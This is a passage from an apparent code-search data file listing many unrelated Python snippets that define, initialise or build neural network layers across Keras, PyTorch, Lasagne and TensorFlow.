= get_sequence_lengths( widths ) \n\n return x, sequence_length","def init_three_layer_neuralnet(weight_scale=1, bias_scale=0, input_feat_dim=786,\n num_classes=10, num_neurons=(20, 30)):\n \n assert len(num_neurons) == 2, 'You must provide number of neurons for two layers...'\n\n model = {}\n #model['W1'] = np.random.randn((num_neurons[0],(input_feat_dim) * weight_scale) * math.sqrt(2.0/input_feat_dim)) # Initialize from a Gaussian With scaling of sqrt(2.0/fanin)\n \n model['W1'] = (np.random.rand(input_feat_dim,num_neurons[0])*weight_scale) * math.sqrt(2.0/input_feat_dim)\n model['b1'] = np.zeros(num_neurons[0])# Initialize with zeros\n \n #model['W2'] = (np.random.randn(input_feat_dim) * weight_scale) * math.sqrt(2.0/input_feat_dim)# Initialize from a Gaussian With scaling of sqrt(2.0/fanin)\n #print ((model['W1'])[0,:]).shape\n #numcols = len(input[0])\n t=len((model['W1'])[0])\n #print t\n model['W2'] = (np.random.rand(num_neurons[0],num_neurons[1])*weight_scale) * math.sqrt(2.0/t)\n model['b2'] = np.zeros(num_neurons[1])# Initialize with zeros\n\n t=len((model['W2'])[0])\n #model['W3'] = (np.random.randn(input_feat_dim) * weight_scale) * math.sqrt(2.0/input_feat_dim)# Initialize from a Gaussian With scaling of sqrt(2.0/fanin)\n model['W3'] = (np.random.rand(num_neurons[1],num_classes)*weight_scale) * math.sqrt(2.0/t)\n model['b3'] = np.zeros(num_classes)# Initialize with zeros\n\n return model","def nlayer(i):\n node = basis.MCTDHnode(i)\n layer_list.append(i)\n if node.Toplayer() == False:\n return nlayer(node.up().address())\n new_list = list(layer_list) #copy instead of reference\n del layer_list[:]\n return new_list","def hidden_layers(self):\n\t\tif self.hidden is None:\n\t\t\tself.hidden, self.inputs, self.weights_all, self.biases_all = [], [], [], []\n\t\t\tlast_hidden = self.x\n\t\t\tif self.covnet == 1:\n\t\t\t\ty_conv, self._drouput, self.hidden, self.inputs = deepnn(self.x)\n\t\t\telif self.covnet == 2:\n\t\t\t\ty_c, self.hidden, self.inputs = multi_layer_perceptron(self.x, self.input_size, self.num_of_classes,\n\t\t\t\t self.layerSize[0], self.layerSize[1])\n\t\t\telse:\n\n\t\t\t\tself._drouput = 'dr'\n\t\t\t\t# self.hidden.append(self.x)\n\t\t\t\tfor i in range(1, len(self.all_layer_sizes)):\n\t\t\t\t\tname_scope = 'hidden' + str(i - 1)\n\t\t\t\t\trow_size, col_size = self.all_layer_sizes[i - 1], self.all_layer_sizes[i]\n\t\t\t\t\tactivation_function = self.activation_function\n\t\t\t\t\tlast_hidden = self.initilizae_layer(name_scope, row_size, col_size, activation_function,\n\t\t\t\t\t last_hidden)\n\t\t\t\tname_scope = 'final_layer'\n\t\t\t\trow_size, col_size = self.layerSize[-1], self.num_of_classes\n\t\t\t\tactivation_function = None\n\t\t\t\tlast_hidden = self.initilizae_layer(name_scope, row_size, col_size, activation_function, last_hidden)\n\t\treturn self.hidden","def test_CNN_hyperparameters_nrlayers(self):\n hyperparams = modelgen.generate_CNN_hyperparameter_set(\n min_fc_nodes=123, max_fc_nodes=123)\n assert hyperparams.get('fc_hidden_nodes') == 123","def define_layers(self):\n if self.d != 0:\n # If we have a fixed input size we use it do define the first layer\n self.layers = [nn.Sequential(nn.Linear(self.d, self.h),\n nn.ReLU(), )] # nn.BatchNorm1d(self.h, affine=False))]\n else:\n self.layers = [nn.Sequential(nn.Linear(self.h, self.h),\n nn.ReLU(), )]\n\n l = 0\n for l in self.layers_sizes():\n self.layers.append(nn.Sequential(nn.Linear(self.h - l, self.h - l - self.delta_h),\n nn.ReLU(), )) # nn.BatchNorm1d( self.h - l - self.delta_h, affine=False)))\n self.layers.append(nn.Sequential(nn.Linear(self.h - l - self.delta_h, 1), nn.ReLU()))","def __init__(self):\n #conv1\n n = inp_width*inp_height\n #poczatkowe wagi sieci sa ustalane losowo z rozkladu normalnego. Umieszczane sa one na liscie matryc wag\n self.Weights = [np.random.randn(layers[0][1],inp_channels,layers[0][2],layers[0][2])/np.sqrt(n)]\n out_Size = inp_width - layers[0][2] + 1 #zmienna zawiera rozmiar wyjscia danej warstwy\n #inicjalizacja progow \n self.Biases = [initBias*np.ones( layers[0][1] )]\n #przypisanie parametrow warstwie poolingu\n self.poolParams = [(layers[1][1], layers[1][2])]\n out_Size = out_Size/2 \n #conv 2\n n = out_Size*out_Size*layers[0][1]\n self.Weights.append(np.random.randn(layers[2][1],layers[0][1],layers[2][2],layers[2][2])/np.sqrt(n))\n out_Size = out_Size - layers[2][2]+1\n self.Biases.append(initBias*np.ones(layers[2][1]))\n #pool 2\n self.poolParams.append((layers[3][1],layers[3][2]))\n out_Size = out_Size/2 \n #conv 3\n n = out_Size*out_Size*layers[2][1]\n self.Weights.append(np.random.randn(layers[4][1],layers[2][1],out_Size,out_Size)/np.sqrt(n))\n out_Size = 1\n self.Biases.append(initBias*np.ones(layers[4][1]))\n #fully connected 1\n n = layers[4][1]\n self.Weights.append(np.random.randn(layers[5][1],layers[4][1])/np.sqrt(n))\n self.Biases.append(initBias*np.ones(layers[5][1]))\n #fully connected 2\n n = layers[5][1]\n self.Weights.append(np.random.randn(layers[6][1],layers[5][1])/np.sqrt(n))\n self.Biases.append(initBias*np.ones(layers[6][1]))\n\n self.Weights = np.asarray(self.Weights)\n self.Biases = np.asarray(self.Biases)\n \n delta_W = []\n delta_B = []\n for i in range(5):\n delta_W.append(np.zeros(self.Weights[i].shape))\n delta_B.append(np.zeros(self.Biases[i].shape))\n self.delta_W = np.asarray(delta_W)\n self.delta_B = np.asarray(delta_B)","def buildNet(inputShape, numUniqueClasses):\n layers = InputLayer((None,) + inputShape[1:4])\n layers = ResidualLayer(layers, 8, \n filter_size = (3,1))\n layers = ResidualLayer(layers, 8, \n filter_size = (3,1), stride= (5,1))\n layers = ResidualLayer(layers, 8, \n filter_size = (3,1))\n layers = ResidualLayer(layers, 1, \n filter_size = (3,1), stride= (3,1))\n layers = NonlinearityLayer(layers, nonlinearity = nonlinearity)\n layers = DropoutLayer(layers,p=.3) \n layers = batch_norm(NNHelpers.LocallyConnected2DLayer(layers,1,(5,1),\n W=He('relu'),\n nonlinearity=nonlinearity)) \n layers = DenseLayer(layers,num_units=numUniqueClasses,\n nonlinearity=linear) \n layers = NonlinearityLayer(layers, nonlinearity=softmax) \n return layers","def forward_prop(x, layer_sizes=[], activations=[]):\n layers = x\n for j in range(len(layer_sizes)):\n layers = create_layer(layers, layer_sizes[j],\n activation=activations[j])\n return layers","def layers(self):\n return self['layers']","def get_features(inp_layer, pad=0):\n # Note: tweaked to use average pooling instead of maxpooling\n net = OrderedDict()\n net['conv1_1'] = ConvLayer(inp_layer, 64, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['conv1_2'] = ConvLayer(net['conv1_1'], 64, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['pool1'] = PoolLayer(net['conv1_2'], 2, mode='average_exc_pad')\n net['conv2_1'] = ConvLayer(net['pool1'], 128, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['conv2_2'] = ConvLayer(net['conv2_1'], 128, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['pool2'] = PoolLayer(net['conv2_2'], 2, mode='average_exc_pad')\n net['conv3_1'] = ConvLayer(net['pool2'], 256, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['conv3_2'] = ConvLayer(net['conv3_1'], 256, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['conv3_3'] = ConvLayer(net['conv3_2'], 256, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['conv3_4'] = ConvLayer(net['conv3_3'], 256, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['pool3'] = PoolLayer(net['conv3_4'], 2, mode='average_exc_pad')\n net['conv4_1'] = ConvLayer(net['pool3'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['conv4_2'] = ConvLayer(net['conv4_1'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['conv4_3'] = ConvLayer(net['conv4_2'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n net['conv4_4'] = ConvLayer(net['conv4_3'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n #net['pool4'] = PoolLayer(net['conv4_4'], 2, mode='average_exc_pad')\n #net['conv5_1'] = ConvLayer(net['pool4'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n #net['conv5_2'] = ConvLayer(net['conv5_1'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n #net['conv5_3'] = ConvLayer(net['conv5_2'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n #net['conv5_4'] = ConvLayer(net['conv5_3'], 512, 3, pad=pad, flip_filters=False, nonlinearity=rectify)\n #net['pool5'] = PoolLayer(net['conv5_4'], 2, mode='average_exc_pad')\n\n nb_params = len(nn.layers.get_all_params(net['conv4_4']))\n\n values = pickle.load(open('weights/vgg19_normalized.pkl', 'rb'), encoding='latin1')['param values']\n nn.layers.set_all_param_values(net['conv4_4'], values[:nb_params])\n\n return net","def _init_layers(self):\n self.relu = nn.ReLU(inplace=True)\n self.cls_convs = nn.ModuleList()\n self.reg_convs = nn.ModuleList()\n for i in range(self.stacked_convs):\n chn = self.in_channels if i == 0 else self.feat_channels\n self.cls_convs.append(\n ConvModule(\n chn,\n self.feat_channels,\n 3,\n stride=1,\n padding=1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg))\n self.reg_convs.append(\n ConvModule(\n chn,\n self.feat_channels,\n 3,\n stride=1,\n padding=1,\n conv_cfg=self.conv_cfg,\n norm_cfg=self.norm_cfg))\n self.retina_cls = nn.Conv2d(\n self.feat_channels,\n self.num_anchors * self.cls_out_channels,\n 3,\n padding=1)\n self.retina_reg = nn.Conv2d(\n self.feat_channels, self.num_anchors * 4, 3, padding=1)","def build_all_connected_models(feature_dim, output_scheme=\"regression\", num_classes=num_classes):\n\tinput_layer = keras.layers.Input(shape=[feature_dim])\n\thidden1 = keras.layers.Dense(800, activation='relu', \n\t\tkernel_regularizer=keras.regularizers.l2(0.01), \n\t\tkernel_initializer=\"he_uniform\")(input_layer)\n\t#bn1 = keras.layers.BatchNormalization()(hidden1)\n\tdropout1 = keras.layers.AlphaDropout(rate=0.5)(hidden1)\n\t#hidden2 = keras.layers.Dense(500, activation='relu', \n\t#\tkernel_regularizer=keras.regularizers.l2(0.01), \n\t#\tkernel_initializer=\"he_uniform\")(dropout1)\n\t#bn2 = keras.layers.BatchNormalization()(hidden2)\n\t#dropout2 = keras.layers.AlphaDropout(rate=0.5)(hidden2)\n\thidden3 = keras.layers.Dense(200, activation='relu', \n\t\tkernel_regularizer=keras.regularizers.l2(0.01), \n\t\tkernel_initializer=\"he_uniform\")(dropout1)\n\tdropout3 = keras.layers.AlphaDropout(rate=0.3)(hidden3)\n\t# trait-specific network\n\thidden4_1 = keras.layers.Dense(50, activation='relu', \n\t\tkernel_regularizer=keras.regularizers.l2(0.01), \n\t\tkernel_initializer=\"he_uniform\")(dropout3)\n\thidden4_2 = keras.layers.Dense(50, activation='relu', \n\t\tkernel_regularizer=keras.regularizers.l2(0.01), \n\t\tkernel_initializer=\"he_uniform\")(dropout3)\n\thidden4_3 = keras.layers.Dense(50, activation='relu', \n\t\tkernel_regularizer=keras.regularizers.l2(0.01), \n\t\tkernel_initializer=\"he_uniform\")(dropout3)\n\thidden4_4 = keras.layers.Dense(50, activation='relu', \n\t\tkernel_regularizer=keras.regularizers.l2(0.01), \n\t\tkernel_initializer=\"he_uniform\")(dropout3)\n\thidden4_5 = keras.layers.Dense(50, activation='relu', \n\t\tkernel_regularizer=keras.regularizers.l2(0.01), \n\t\tkernel_initializer=\"he_uniform\")(dropout3)\n\t#bn3 = keras.layers.BatchNormalization()(hidden3)\n\tif (output_scheme==\"regression\"):\n\t\t#outputs = [keras.layers.Dense(1, hidden3) for i in range(5)] #\n\t\tout1 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out1\")(hidden4_1)\n\t\tout2 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out2\")(hidden4_2)\n\t\tout3 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out3\")(hidden4_3)\n\t\tout4 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out4\")(hidden4_4)\n\t\tout5 = keras.layers.Dense(1, activation=lambda x: keras.activations.relu(x, max_value=num_classes-1.0), \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out5\")(hidden4_5)\n\telif (output_scheme == \"ordinal_clf\"):\n\t\tout1 = keras.layers.Dense(num_classes, activation=\"sigmoid\", \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out1\")(hidden4_1)\n\t\tout2 = keras.layers.Dense(num_classes, activation=\"sigmoid\", \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out2\")(hidden4_2)\n\t\tout3 = keras.layers.Dense(num_classes, activation=\"sigmoid\", \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out3\")(hidden4_3)\n\t\tout4 = keras.layers.Dense(num_classes, activation=\"sigmoid\", \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out4\")(hidden4_4)\n\t\tout5 = keras.layers.Dense(num_classes, activation=\"sigmoid\", \n\t\t\tkernel_regularizer=keras.regularizers.l2(0.01), kernel_initializer=\"he_uniform\", \n\t\t\tname=\"out5\")(hidden4_5)\n\tmodel = keras.models.Model(inputs=[input_layer],\n\t\t\t\t\t\t\t outputs=[out1, out2, out3, out4, out5])\n\tif (output_scheme == \"regression\"):\n\t\tmodel.compile(loss=\"mse\", \n\t\t\t\t\t optimizer=tf.keras.optimizers.Adam(0.0001),\n\t\t\t\t\t metrics=['mae', custom_r2_metric])\n\telif (output_scheme == \"ordinal_clf\"):\n\t\tmodel.compile(loss=tf.keras.losses.CategoricalCrossentropy(), \n\t\t\t\t\t optimizer=tf.keras.optimizers.Adam(0.001))\n\tprint(model.summary())\n\treturn model","def layer_factory(in_layer, layer_type, **kwargs):\n\n gpu = True if 'gpu' in theano.config.device else False\n if gpu:\n from lasagne.layers import dnn\n if layer_type == 'conv':\n func = dnn.Conv2DDNNLayer if gpu else layers.Conv2DLayer\n defaults = {'border_mode':'same','W':lasagne.init.GlorotUniform()} ### dimshuffle=TRUE!!!\n elif layer_type == 'dense':\n func = layers.DenseLayer\n defaults = {'W':lasagne.init.Uniform()}\n elif layer_type == 'maxout':\n defaults = {}\n func = dnn.MaxPool2DDNNLayer if gpu else layers.MaxPool2DLayer\n else:\n return -1\n\n layer_params = {}\n for key,val in kwargs.iteritems():\n if layer_type in key:\n new_key = key.split(layer_type)[1]\n new_key = new_key[1:]\n layer_params[new_key] = val\n\n if layer_type == 'maxout':\n in_layers = []\n for i in xrange(layer_params['K']):\n tmp_layer = layers.DenseLayer(in_layer,num_units=layer_params['num_units'],W=lasagne.init.GlorotUniform(),nonlinearity=lasagne.nonlinearities.linear)\n tmp_layer = layers.ReshapeLayer(tmp_layer,([0],1,[1]))\n in_layers.append(tmp_layer)\n in_layer = lasagne.layers.ConcatLayer(tuple(in_layers))\n orig_nonlin = lasagne.nonlinearities.identity\n layer_params.pop('K',None)\n layer_params.pop('num_units',None)\n\n name = kwargs['name'] + '_' if 'name' in kwargs else 'NONE_'\n\n if 'batch_norm' in kwargs and kwargs['batch_norm'] and layer_type != 'maxout':\n orig_nonlin = layer_params['nonlinearity']\n layer_params['nonlinearity'] = lasagne.nonlinearities.linear\n\n # remove user-configurations from defaults\n for key in layer_params.keys():\n if key in defaults:\n defaults.pop(key,None)\n\n all_params = dict(defaults,**layer_params)\n\n # new lasagne!\n if 'border_mode' in all_params:\n all_params['pad'] = all_params['border_mode']\n del all_params['border_mode']\n\n output_layer = func(in_layer,**all_params)\n\n if 'batch_norm_f0k' in kwargs and kwargs['batch_norm_f0k']:\n output_layer = lasagne.layers.normalization.batch_norm(output_layer)\n\n if 'batch_norm' in kwargs and kwargs['batch_norm']:\n output_layer = BatchNormalizationLayer(output_layer,nonlinearity=orig_nonlin,name=name + 'batch')\n\n if 'maxpool' in kwargs and kwargs['maxpool']:\n st = kwargs['maxpool_st'] if 'maxpool_st' in kwargs else None\n ignore_borders = kwargs['ignore_borders'] if 'ignore_borders' in kwargs else False\n output_layer = lasagne.layers.MaxPool2DLayer(output_layer,pool_size=kwargs['maxpool_ds'],stride=st,name=name + 'maxpool',ignore_border=ignore_borders)\n\n return output_layer","def __init__(self, layers, input_size):\n super(ConvNetMaker, self).__init__()\n self.conv_layers = []\n self.fc_layers = []\n # h, w, d = 32, 32, 3\n h, w, d = input_size, input_size, 3\n previous_layer_filter_count = 3\n previous_layer_size = h * w * d\n num_fc_layers_remained = len([1 for l in layers if l.startswith('FC')])\n for layer in layers:\n if layer.startswith('Conv'):\n filter_count = int(layer[4:])\n self.conv_layers += [\n nn.Conv2d(previous_layer_filter_count,\n filter_count,\n kernel_size=3,\n padding=1),\n nn.BatchNorm2d(filter_count),\n nn.ReLU(inplace=True)\n ]\n\n previous_layer_filter_count = filter_count\n d = filter_count\n previous_layer_size = h * w * d\n elif layer.startswith('MaxPool'):\n self.conv_layers += [nn.MaxPool2d(kernel_size=2, stride=2)]\n h, w = int(h / 2.0), int(w / 2.0)\n previous_layer_size = h * w * d\n elif layer.startswith('FC'):\n num_fc_layers_remained -= 1\n current_layer_size = int(layer[2:])\n if num_fc_layers_remained == 0:\n self.fc_layers += [nn.Linear(previous_layer_size,\n current_layer_size)]\n else:\n self.fc_layers += [nn.Linear(previous_layer_size,\n current_layer_size),\n nn.ReLU(inplace=True)]\n previous_layer_size = current_layer_size\n\n conv_layers = self.conv_layers\n fc_layers = self.fc_layers\n self.conv_layers = nn.Sequential(*conv_layers)\n self.fc_layers = nn.Sequential(*fc_layers)","def layers(self):\n\n if not self.last_node:\n return []\n return nuke.layers(self.last_node)","def __init__(self, layer_neuron):\n\n self.num_layers = len(layer_neuron)\n self.layer_neuron = layer_neuron\n #a list of numpy ndarrays\n self.weights = []\n self.input_len = 0\n self.target_vals = []\n self.current_guess = 0\n\n self.layer_inputs = [[]]*(len(layer_neuron))\n self.layer_outputs = [[]]*(len(layer_neuron))\n #deltas: don't include input layer but still put it in for spacing ie self.deltas[0] should always be empty\n self.deltas = [[]]*((len(layer_neuron)))\n\n #make the weight matrices, each matrix nXm matrix with m = # nodes in the ith layer (incl bias) and n = # nodes in the (i+1)th layer\n #each row represents the set of weights from all m neurons in the ith layer to a single neuron in the (i+1)th layer\n #conversely, each column is all the output weights from a node in the ith layer, to each n nodes in the (i+1)th layer\n #the right-most column represents output weights from the bias node\n for i in range(len(self.layer_neuron)-1 ):\n np.random.seed(0)\n self.weights.append(np.random.normal( scale = 0.2, size = (self.layer_neuron[i+1], self.layer_neuron[i] + 1)))","def build_neural_net(net_def):\n\n populated_def = net_def.copy()\n\n for layer in populated_def['layers']:\n for n in range(0, layer['num_neurons']):\n weights = layer['weights'][n]\n bias = layer['bias'][n]\n\n neuron = Neuron(weights, bias, layer['activation'])\n layer['neurons'].append(neuron)\n\n\n return populated_def","def _get_layers(self) :\n \n return self._layers","def model(input_shape, output_dim, num_hidden_units,num_hidden_units_2, num_code_units, filter_size, batch_size=BATCH_SIZE):\n shape = tuple([None]+list(input_shape[1:]))\n print(shape)\n l_in = lasagne.layers.InputLayer(shape=shape)\n\n print(\"Input shape: \",lasagne.layers.get_output_shape(l_in))\n\n # print(shaped_units)\n # shaped_units = shaped_units[0]\n shaped_units = 2800\n\n # print(shape)\n\n l_conv2D_1 = lasagne.layers.Conv2DLayer(\n l_in, \n num_filters=8,\n filter_size=filter_size, \n stride=(1, 1), \n border_mode=\"valid\", \n untie_biases=False, \n nonlinearity=None,\n )\n\n print(\"Conv 2D shape: \",lasagne.layers.get_output_shape(l_conv2D_1))\n\n l_reshape_1 = lasagne.layers.ReshapeLayer(\n l_conv2D_1,\n shape=(([0], -1))\n )\n\n print(\"Reshape 1 shape: \", lasagne.layers.get_output_shape(l_reshape_1))\n\n l_hidden_1 = lasagne.layers.DenseLayer(\n l_reshape_1,\n num_units= num_hidden_units,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n print(\"Hidden 1 shape: \", lasagne.layers.get_output_shape(l_hidden_1))\n\n l_code_layer = lasagne.layers.DenseLayer(\n l_hidden_1,\n num_units=num_code_units,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n print(\"Code layer shape: \",lasagne.layers.get_output_shape(l_code_layer))\n\n l_hidden_2 = lasagne.layers.DenseLayer(\n l_code_layer,\n num_units=num_hidden_units,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n print(\"Hidden 2 shape: \",lasagne.layers.get_output_shape(l_hidden_2))\n\n l_hidden_3 = lasagne.layers.DenseLayer(\n l_hidden_2,\n num_units=shaped_units,\n nonlinearity=lasagne.nonlinearities.rectify,\n )\n\n print(\"Hidden 3 shape: \",lasagne.layers.get_output_shape(l_hidden_3))\n\n l_reshape_2 = lasagne.layers.ReshapeLayer(\n l_hidden_3,\n shape=(([0],8,7,50))\n )\n\n print(\"Reshape 2 shape: \",lasagne.layers.get_output_shape(l_reshape_2))\n\n l_out = lasagne.layers.Conv2DLayer(\n l_reshape_2, \n num_filters=1,\n filter_size=filter_size, \n stride=(1, 1), \n border_mode=\"valid\", \n untie_biases=False, \n nonlinearity=None,\n )\n\n # print(\"Deconv shape: \",lasagne.layers.get_output_shape(l_deconv2D_1))\n\n print(\"Output shape: \",lasagne.layers.get_output_shape(l_out))\n\n return l_out","def define_layers(self):\n\n if self.D0Flag:\n self.d = self.h\n\n self.layers = [nn.Sequential(nn.Linear(self.d, self.h),\n nn.ReLU(), )] # nn.BatchNorm1d(self.h, affine=False))]\n for l in range(1, self.L):\n self.layers.append(nn.Sequential(nn.Linear(self.h, self.h),\n nn.ReLU(), )) # nn.BatchNorm1d(self.h, affine=False)))\n\n self.layers.append(nn.Linear(self.h, 1))","def flow(input_):\n global number_of_neurons_by_layer\n if len(input_) != number_of_neurons_by_layer[0]:\n raise IndexError(\n f\"\\033[91mInput length is incorrect. It must be {number_of_neurons_by_layer[0]}.\\033[m\")\n layers[0][\"y\"][1:] = np.array(input_).flatten().reshape(len(input_), 1)\n for i_lay in range(1, len(layers)):\n layers[i_lay][\"v\"][:] = logistic(\n layers[i_lay][\"weigths\"] @ layers[i_lay-1][\"y\"]\n )","def nn_layer(input_tensor, input_dim, output_dim, layer_name, act=tf.nn.relu,method = \"xavier\"):\n # Adding a name scope ensures logical grouping of the layers in the graph.\n with tf.name_scope(layer_name):\n # This Variable will hold the state of the weights for the layer\n with tf.name_scope('weights'):\n weights = weight_variable([input_dim, output_dim],method = method,name = layer_name)\n variable_summaries(weights, layer_name + '/weights')\n with tf.name_scope('Wx_plus_b'):\n preactivate = tf.matmul(input_tensor, weights)\n tf.histogram_summary(layer_name + '/pre_activations', preactivate)\n if act is None:\n activations = preactivate\n else:\n activations = act(preactivate, 'activation')\n tf.histogram_summary(layer_name + '/activations', activations)\n return activations","def initialize_layers(self, layers_config: dict, inputs=None):\n layers_config = layers_config.copy()\n input_lyrs = []\n initiated_layers = OrderedDict()\n wrp_layer = None # indicator for wrapper layers\n first_layer = True\n\n for lyr, lyr_args in layers_config.items():\n\n lyr_config, lyr_inputs, named_outs, call_args = self.deconstruct_lyr_args(lyr, lyr_args)\n\n lyr_name, args, lyr_config, activation = self.check_lyr_config(lyr, lyr_config)\n\n if K.BACKEND == 'pytorch':\n\n if first_layer:\n first_layer = False\n\n if callable(lyr_config):\n lyr_initiated = lyr_config\n else:\n lyr_initiated = TORCH_LAYERS[lyr_name](**lyr_config)\n setattr(self, lyr, lyr_initiated)\n initiated_layers[lyr] = {\"layer\": lyr_initiated, \"named_outs\": named_outs, 'call_args': call_args,\n 'inputs': lyr_inputs}\n\n else:\n # may be user has defined layers without input layer, in this case add Input layer as first layer\n if first_layer:\n if inputs is not None: # This method was called by providing it inputs.\n assert isinstance(inputs, tf.Tensor)\n # since inputs have been defined, all the layers that will be added will be next to first layer\n first_layer = False\n layer_outputs = inputs\n initiated_layers[layer_outputs.name] = {'layer': layer_outputs, 'tf_name': lyr_name}\n\n elif lyr_name != \"Input\":\n if 'input_shape' in lyr_config: # input_shape is given in the first layer so make input layer\n initialized_layer = LAYERS[\"Input\"](shape=lyr_config['input_shape'])\n else:\n # for simple dense layer based models, lookback will not be used\n def_shape = (self.num_ins,) if self.lookback == 1 else (self.lookback, self.num_ins)\n initialized_layer = LAYERS[\"Input\"](shape=def_shape)\n\n # first layer is built so next iterations will not be for first layer\n first_layer = False\n # put the first layer in memory to be used for model compilation\n # add th layer which the user had specified as first layer\n initiated_layers[initialized_layer.name] = {'layer': initialized_layer,\n 'tf_name': lyr_name}\n input_lyrs.append(initialized_layer)\n\n # The inputs to the layer have not been specified, so either it is an Input layer\n if lyr_inputs is None:\n # or it uses the previous outputs as inputs\n if lyr_name == \"Input\":\n # it is an Input layer, hence should not be called\n initialized_layer = LAYERS[lyr_name](*args, **lyr_config)\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\n 'tf_name': lyr_name}\n input_lyrs.append(initialized_layer)\n else:\n # it is executable and uses previous outputs as inputs\n if lyr_name in ACTIVATION_LAYERS:\n layer_outputs = ACTIVATION_LAYERS[lyr_name](name=lyr_config['name'])\n initiated_layers[lyr_config['name']] = {'layer': layer_outputs,\n 'named_outs': named_outs,\n 'call_args': call_args,\n 'inputs': lyr_inputs,\n 'tf_name': lyr_name}\n elif lyr_name in ['TimeDistributed', 'Bidirectional']:\n wrp_layer = LAYERS[lyr_name]\n # because wrapper layer name is property\n initiated_layers[lyr_config['name']] = {'layer': wrp_layer,\n 'tf_name': lyr_name}\n continue\n elif \"LAMBDA\" in lyr_name.upper():\n # lyr_config is serialized lambda layer, which needs to be deserialized\n initialized_layer = tf.keras.layers.deserialize(lyr_config)\n # layers_config['lambda']['config'] still contails lambda, so we need to replace the python\n # object (lambda) with the serialized version (lyr_config) so that it can be saved as json file.\n layers_config[lyr]['config'] = lyr_config\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\n 'named_outs': named_outs,\n 'call_args': call_args,\n 'inputs': lyr_inputs,\n 'tf_name': lyr_name}\n else:\n if wrp_layer is not None:\n initialized_layer = wrp_layer(LAYERS[lyr_name](*args, **lyr_config))\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\n 'named_outs': named_outs,\n 'call_args': call_args,\n 'inputs': lyr_inputs,\n 'tf_name': lyr_name}\n wrp_layer = None\n else:\n if lyr_name == \"TemporalFusionTransformer\":\n lyr_config['return_attention_components'] = True\n initialized_layer = LAYERS[lyr_name](*args, **lyr_config)\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\n 'named_outs': named_outs,\n 'call_args': call_args,\n 'inputs': lyr_inputs,\n 'tf_name': lyr_name}\n\n else: # The inputs to this layer have been specified so they must exist in lyr_cache.\n # it is an executable\n if lyr_name in ACTIVATION_LAYERS:\n\n layer_outputs = ACTIVATION_LAYERS[lyr_name](name=lyr_config['name'])\n initiated_layers[lyr_config['name']] = {'layer': layer_outputs,\n 'named_outs': named_outs,\n 'call_args': call_args,\n 'inputs': lyr_inputs,\n 'tf_name': lyr_name}\n elif lyr_name in ['TimeDistributed', 'Bidirectional']:\n wrp_layer = LAYERS[lyr_name]\n # because wrapper layer name is property\n initiated_layers[lyr_config['name']] = {'layer': wrp_layer,\n 'tf_name': lyr_name}\n continue\n elif \"LAMBDA\" in lyr_name.upper():\n initialized_layer = tf.keras.layers.deserialize(lyr_config)\n layers_config[lyr]['config'] = lyr_config\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\n 'named_outs': named_outs,\n 'call_args': call_args,\n 'inputs': lyr_inputs,\n 'tf_name': lyr_name}\n else:\n if wrp_layer is not None:\n initialized_layer = wrp_layer(LAYERS[lyr_name](*args, **lyr_config))\n initiated_layers[lyr_config['name']] = {'layer': initialized_layer,\n 'named_outs': named_outs,\n 'call_args': call_args,\n 'inputs': lyr_inputs,\n 'tf_name': lyr_name}\n wrp_layer = None\n else:\n layer_initialized = LAYERS[lyr_name](*args, **lyr_config)\n initiated_layers[lyr_config['name']] = {'layer': layer_initialized,\n 'named_outs': named_outs,\n 'call_args': call_args,\n 'inputs': lyr_inputs,\n 'tf_name': lyr_name}\n\n if activation is not None: # put the string back to dictionary to be saved in config file\n lyr_config['activation'] = activation\n\n first_layer = False\n\n self.jsonize_lyr_config(lyr_config)\n\n # inputs = [] todo, indentify input layers\n # for k,v in lyr_cache.items():\n # since the model is not build yet and we have access to only output tensors of each list, this is probably\n # # the only way to know that how many `Input` layers were encountered during the run of this method. Each\n # tensor (except TimeDistributed) has .op.inputs attribute, which is empty if a tensor represents output of Input 